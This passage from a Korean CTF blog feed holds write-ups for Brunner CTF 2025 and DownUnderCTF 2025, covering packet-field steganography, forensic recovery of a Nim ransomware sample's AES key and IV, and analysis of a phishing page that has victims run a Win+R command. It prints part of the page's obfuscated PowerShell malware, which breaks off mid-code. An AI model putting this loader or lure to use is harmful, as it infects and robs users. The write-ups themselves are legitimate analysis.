    &lt;span class=&quot;n&quot;&gt;line&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;chr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;tcp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;seq_raw&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;line&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;chr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;tcp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;seq_raw&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0xFF&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;line&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;join&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;
            &lt;span class=&quot;nb&quot;&gt;chr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;tcp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;segment_data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;tcp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;segment_data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;{&quot;&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;line&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;index&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pyshark&lt;/code&gt;를 통해 여러 패킷을 다양한 필터링을 걸고, 다양하게 복호화 했으나 플래그가 나오지 않았습니다.&lt;/p&gt;

&lt;p&gt;계속 보다 보니, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;10.0.0.2&lt;/code&gt;가 보낸 패킷의 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tcp.flags&lt;/code&gt; 일부가 0x002, 0x202, 0x402, 0x602로 표시되는것을 보았습니다.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x002 -&amp;gt; 00&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x202 -&amp;gt; 01&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x402 -&amp;gt; 10&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x602 -&amp;gt; 11&lt;/code&gt;로 변환하여 풀 수 있었습니다.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-09-08-20.png&quot; alt=&quot;_&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;the-real-windows-experience&quot;&gt;The Real Windows Experience&lt;/h2&gt;

&lt;h3 id=&quot;문제-상황-5&quot;&gt;문제 상황&lt;/h3&gt;

&lt;p&gt;리눅스를 윈도우처럼 쓰는 사람이 바이러스에 걸렸다고 합니다. 내용을 보니 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wine&lt;/code&gt;프로그램으로 프로그램을 사용하던 중 바이러스에 걸렸습니다.&lt;/p&gt;

&lt;h3 id=&quot;분석-과정-5&quot;&gt;분석 과정&lt;/h3&gt;

&lt;p&gt;다운로드에 애플뮤직 인스톨러가 있어 바이러스토탈에 돌려보니 바이러스 의심이라는 내용의 코멘트가 있었습니다.&lt;/p&gt;

&lt;p&gt;관련해서 살펴봤는데 아무것도 나오지 않았었습니다.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wine&lt;/code&gt;내부 파일들을 전부 분석했지만 별 내용이 없었습니다.&lt;/p&gt;

&lt;p&gt;알고보니 파일 카빙을 진행하는거라고 합니다.&lt;/p&gt;

&lt;h3 id=&quot;풀이-1&quot;&gt;풀이&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;Find the encrypted DOCX file in Documents.&lt;/li&gt;
  &lt;li&gt;Find update.exe mentioned in the recently-used.xbel (/home/oliver/.local/share/recently-used.xbel) file. It’s the malware and has been run with Wine.&lt;/li&gt;
  &lt;li&gt;Find the only carved .exe file in the volume using Autopsy, this is the malware - it’s not present in the filesystem anywhere.&lt;/li&gt;
  &lt;li&gt;Notice that the update.exe that most carving tools get is a pain to reverse, leading to the hint in the description. Find the file in the raw disk dump with a hexeditor. See that the file is actually a lot longer in the raw disk dump and dump the entire file. If not you loose all symbols.&lt;/li&gt;
  &lt;li&gt;Reverse the update.exe file, written in Nim, to understand that it creates a key using epochtime hashed with SHA-256 and AES encrypts the file.
    &lt;ul&gt;
      &lt;li&gt;Epoch time is 1754665142&lt;/li&gt;
      &lt;li&gt;Key is then 0ba2721f8aa3dfa0dabb894077fa7394a0f05150e9cee8546be3e2a9eeba5288&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Either find hardcoded IV or discover that it is prepended to the file.
    &lt;ul&gt;
      &lt;li&gt;IV is 04a51607f00142030c0dbe0f08092a5b&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Create decrypter and use timestamp of .enc file creation. The timestamp is converted to hex (upper case) and left padded with 0s until 16 bytes long, before being hashed.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;작성자의-글&quot;&gt;작성자의 글&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;참조&quot;&gt;참조&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;.&lt;/li&gt;
&lt;/ul&gt;
</description>
        <pubDate>Sun, 07 Sep 2025 20:20:00 +0000</pubDate>
        <link>https://slowanalyst.github.io/blog/brunner-ctf-2025/</link>
        <guid isPermaLink="true">https://slowanalyst.github.io/blog/brunner-ctf-2025/</guid>
      </item>
    
      <item>
        <title>DownUnderCTF 2025 문제풀이 및 오답노트</title>
        <description>&lt;h2 id=&quot;배경&quot;&gt;배경&lt;/h2&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RubiyaLab CTF&lt;/code&gt;팀으로 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DownUnderCTF 2025&lt;/code&gt;에 참여하게 되었습니다.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;기간 : 2025-07-05 09:00 ~ 2025-07-07 21:00 (KST)&lt;/code&gt;&lt;/p&gt;

&lt;h2 id=&quot;문제-목록&quot;&gt;문제 목록&lt;/h2&gt;

&lt;p&gt;푼 순서대로&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Fishy Website&lt;/code&gt; - &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;misc 점수 - 112점, 푼 팀 - 211/1242팀&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;godot&lt;/code&gt; - &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rev 점수 - 180점, 푼 팀 - 96/1242팀&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;YoDawg&lt;/code&gt; - &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;misc 점수 - 147점, 푼 팀 - 141/1242팀&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;unsolved&quot;&gt;Unsolved&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dualzip&lt;/code&gt; - &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;misc 점수 - 449점, 푼 팀 - 3/1242팀&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SwiftPasswordManager: LoadMe&lt;/code&gt; - &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rev 점수 - 253점, 푼 팀 - 41/1242팀&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;fishy-website&quot;&gt;Fishy Website&lt;/h2&gt;

&lt;h3 id=&quot;문제-상황&quot;&gt;문제 상황&lt;/h3&gt;

&lt;p&gt;사이트 주소와 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wireshark&lt;/code&gt; 패킷 파일이 주어지면서, 로그인을 시도했더니 컴퓨터가 이상해졌다는 문제가 주어졌습니다.&lt;/p&gt;

&lt;p&gt;사이트에 접속해보니 로그인 창이 떴으며, 어떤 값을 입력하고 로그인 버튼을 누르면 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Win + R&lt;/code&gt; 및 특정 커멘드를 쳐서 2차 인증을 하라는 피싱 사이트였습니다.&lt;/p&gt;

&lt;h3 id=&quot;분석-과정&quot;&gt;분석 과정&lt;/h3&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Win + R&lt;/code&gt;을 통해 주어진 스크립트를 실행하면, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.../verify/script&lt;/code&gt;에 접속해 스크립트를 실행하게 되어 있었습니다.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-07-28-0.png&quot; alt=&quot;_&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.../verify/script&lt;/code&gt;에는 위와 같은 코드가 있었으며, 다음처럼 복호화 하였습니다.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-07-28-1.png&quot; alt=&quot;_&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;div class=&quot;language-powershell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;w&quot;&gt;               &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$BBB88B8B888BBB88&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;xf1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                  &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x6e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;xcd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
 &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;xc6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;0x79&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;0x4c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;0x66&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;0xd1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;0x02&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
          &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;xf8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;0x33&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;0xc4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;0x86&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                 &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;xe7&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;0xa4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                      &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x35&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;0x8d&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x69&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;0xbd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;0xd2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;0x1d&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;0x50&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;0xf5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;0xfb&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;0xdf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;0xec&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;0xaf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
     &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x0b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;0x9e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;0x53&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;xa4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;0xd3&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;IIlIlIlIllIIllIl&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
     &lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[]]&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$BBBB8888BBBBB8BB&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$BB8BB8B8BBB8B8B8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                    &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$B8B8B8B8B8B8B8BB&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
             &lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;foreach&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$B888BB88888BBBBB&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$BBBB8888BBBBB8BB&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                        &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$B8B8B8B8B8B8B8BB&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;](&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$B888BB88888BBBBB&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-bxor&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$BB8BB8B8BBB8B8B8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
           &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                         &lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$B8B8B8B8B8B8B8BB&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                  &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;lIIIlllIIIIllllI&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
     &lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;param&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                         &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;byte&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[]]&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$B8BBB8B8BB8BBB88&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                 &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;byte&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[]]&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$BBB8BBB8B88B88B8&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                 &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$BBB88BB88BB8BBB8&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;..&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;255&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                 &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$B888B8BB888BB88B&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
           &lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$B8BB8BBB8BB8BBBB&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$B8BB8BBB8BB8BBBB&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-lt&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;256&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$B8BB8BBB8BB8BBBB&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
                           &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$B888B8BB888BB88B&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$B888B8BB888BB88B&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$BBB88BB88BB8BBB8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$B8BB8BBB8BB8BBBB&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$B8BBB8B8BB8BBB88&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$B8BB8BBB8BB8BBBB&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$B8BBB8B8BB8BBB88&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Length&lt;/span&gt;&lt;span 